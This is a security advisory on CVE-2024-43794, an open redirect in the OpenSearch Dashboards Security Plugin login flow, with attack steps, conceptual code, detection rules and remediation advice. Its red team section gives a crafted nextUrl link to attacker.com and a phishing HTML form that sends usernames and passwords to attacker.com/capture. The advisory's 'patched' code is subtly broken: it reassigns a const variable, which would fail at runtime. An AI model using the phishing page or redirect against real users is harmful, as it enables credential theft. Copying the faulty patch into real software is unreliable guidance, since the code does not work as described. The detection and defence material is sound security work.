CVE-2024-43794

Executive Summary

CVE-2024-43794 is an open redirect vulnerability in the OpenSearch Dashboards Security Plugin. This plugin provides a configuration management UI for OpenSearch Security features. The vulnerability arises from improper validation of the nextUrl parameter during the login process. An attacker can craft a specially crafted nextUrl parameter that redirects a user to an external, attacker-controlled domain after successful authentication. This can be leveraged for phishing attacks, credential harvesting, or bypassing security controls. The vulnerability has a CVSS score of 6.1 (Medium) and affects versions prior to 1.3.19 and 2.16.0. Patches are available, and immediate upgrade is recommended.

Supply Chain & Package Security

This vulnerability affects the OpenSearch Dashboards Security Plugin, which is distributed as part of the OpenSearch project. The plugin is typically installed via the OpenSearch Dashboards plugin system. Users should verify the integrity of their OpenSearch Dashboards installation and ensure they are using official, signed packages from the OpenSearch project. The vulnerability is not related to any specific package manager (NPM, PyPI, Go, Ruby) but is a core component of the OpenSearch Dashboards application.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Attack Vector (AV): Network - The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low - No special conditions or complex attack sequences are required.
• Privileges Required (PR): None - No authentication is required to trigger the vulnerability.
• User Interaction (UI): Required - The victim must click on a crafted link or be redirected to the malicious URL.
• Scope (S): Unchanged - The vulnerability does not affect resources beyond the vulnerable component.
• Confidentiality (C): Low - Limited information disclosure (e.g., redirect to a phishing page).
• Integrity (I): Low - Limited impact on integrity (e.g., redirect to a malicious site).
• Availability (A): None - No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for phishing and credential theft makes this a significant concern for organizations using OpenSearch Dashboards.

Deep Dive & Mechanics

The vulnerability exists in the login flow of OpenSearch Dashboards when the Security Plugin is enabled. The nextUrl parameter is used to redirect users to a specific page after successful login. The application fails to properly validate that the nextUrl is a relative path or a URL within the same origin. An attacker can supply an absolute URL pointing to an external domain.

Attack Flow:

1. An attacker crafts a malicious link: https://opensearch-dashboards.example.com/_login?nextUrl=https://attacker.com/phishing
2. The victim, who is not logged in, clicks the link.
3. The victim is presented with the OpenSearch Dashboards login page.
4. After the victim enters their credentials and logs in, the application redirects them to https://attacker.com/phishing.
5. The attacker can host a fake login page or other malicious content at that URL.

Root Cause: The nextUrl parameter is not sanitized or validated against a whitelist of allowed domains or paths. The application likely uses a simple redirect mechanism without checking if the target URL is internal.

Vulnerable vs. Patched Code

The vulnerable code likely resides in the authentication or login handler of the Security Plugin. The fix involves adding validation to ensure the nextUrl parameter is a relative path or belongs to the same origin.

Vulnerable Code (Conceptual):

// Vulnerable: No validation of nextUrl
function handleLogin(req, res) {
  const nextUrl = req.query.nextUrl || '/';
  // ... authentication logic ...
  res.redirect(nextUrl);
}

Patched Code (Conceptual):

// Patched: Validate nextUrl is a relative path
function handleLogin(req, res) {
  const nextUrl = req.query.nextUrl || '/';
  // Validate that nextUrl is a relative path
  if (!nextUrl.startsWith('/') || nextUrl.startsWith('//')) {
    nextUrl = '/';
  }
  // ... authentication logic ...
  res.redirect(nextUrl);
}

The patch ensures that the nextUrl must start with a single slash (/) and not with a double slash (//) which could be used for protocol-relative URLs. This prevents redirects to external domains.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A vulnerable OpenSearch Dashboards instance (version < 1.3.19 or < 2.16.0) with the Security Plugin enabled.
• A publicly accessible server to host a phishing page or capture credentials.

Exploitation Steps:

1. Identify the target OpenSearch Dashboards URL (e.g., https://opensearch-dashboards.example.com).
2. Craft a malicious URL: https://opensearch-dashboards.example.com/_login?nextUrl=https://attacker.com/phishing
3. Send this URL to a victim via email, social media, or other means.
4. When the victim clicks the link and logs in, they are redirected to https://attacker.com/phishing.
5. The attacker can host a fake login page to capture credentials or serve malware.

Example Phishing Page (HTML):

<!DOCTYPE html>
<html>
<head><title>Login</title></head>
<body>
  <h2>Session Expired - Please Login Again</h2>
  <form action="https://attacker.com/capture" method="POST">
    <input type="text" name="username" placeholder="Username">
    <input type="password" name="password" placeholder="Password">
    <input type="submit" value="Login">
  </form>
</body>
</html>

Blue Team (Detection & Prevention)

Detection:

• Monitor web server logs for requests containing nextUrl parameters with external domains.
• Look for unusual login patterns, such as multiple failed logins followed by a redirect to an unknown domain.
• Use the detection rules provided in the Detection Engineering section.

Prevention:

• Immediately upgrade to OpenSearch Dashboards 1.3.19 or 2.16.0.
• Implement a Web Application Firewall (WAF) rule to block requests with nextUrl containing external domains.
• Educate users about phishing attacks and the importance of verifying URLs before clicking.

Indicators of Compromise (IOCs)

• URL Pattern: /_login?nextUrl=https://[external-domain]
• Network Traffic: HTTP requests to OpenSearch Dashboards with a nextUrl parameter pointing to an external domain.
• Log Entries: Web server logs showing redirects to external domains after login.
• Phishing Pages: Hosted on attacker-controlled domains mimicking the OpenSearch Dashboards login page.

Detection Engineering

YARA Rule

rule CVE_2024_43794_OpenRedirect {
  meta:
    description = "Detects open redirect attempts in OpenSearch Dashboards login"
    author = "Valters IT"
    date = "2024-10-27"
    reference = "CVE-2024-43794"
  strings:
    $url_pattern = /\/_login\?nextUrl=https?:\/\// nocase
  condition:
    $url_pattern
}

Sigma Rule

title: OpenSearch Dashboards Open Redirect via nextUrl
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-43794 by using an external URL in the nextUrl parameter.
author: Valters IT
date: 2024/10/27
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2024-43794
logsource:
  category: webserver
  product: opensearch-dashboards
detection:
  selection:
    cs-uri-query|contains: "nextUrl=http"
  condition: selection
falsepositives:
  - Legitimate use of external redirects (if any)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-43794 OpenSearch Dashboards Open Redirect"; flow:to_server,established; content:"/_login"; http_uri; content:"nextUrl=http"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade OpenSearch Dashboards to version 1.3.19 or 2.16.0 (or later).
2. Apply WAF rules to block requests with nextUrl containing external domains.
3. Review web server logs for any signs of exploitation.

Long-Term Mitigations:

• Implement strict input validation for all redirect parameters.
• Use a whitelist of allowed redirect destinations.
• Regularly update OpenSearch Dashboards and its plugins.
• Conduct security awareness training for users.

Workarounds (if patching is not immediately possible):

• Disable the Security Plugin if not required.
• Use a reverse proxy to validate and sanitize the nextUrl parameter.

Valters IT
Securing Digital Frontiers